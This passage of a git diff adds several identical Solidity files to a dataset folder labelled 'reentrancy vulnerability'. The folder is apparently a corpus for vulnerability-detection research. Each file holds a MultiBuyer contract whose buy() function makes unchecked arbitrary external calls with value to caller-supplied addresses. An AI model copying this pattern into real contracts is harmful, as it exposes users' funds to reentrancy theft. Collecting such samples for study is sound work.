_toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/187.sol b/smart_contract_dataset/reentrancy vulnerability/187.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/187.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/20780.sol b/smart_contract_dataset/reentrancy vulnerability/20780.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/20780.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/20810.sol b/smart_contract_dataset/reentrancy vulnerability/20810.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/20810.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/20815.sol b/smart_contract_dataset/reentrancy vulnerability/20815.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/20815.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + 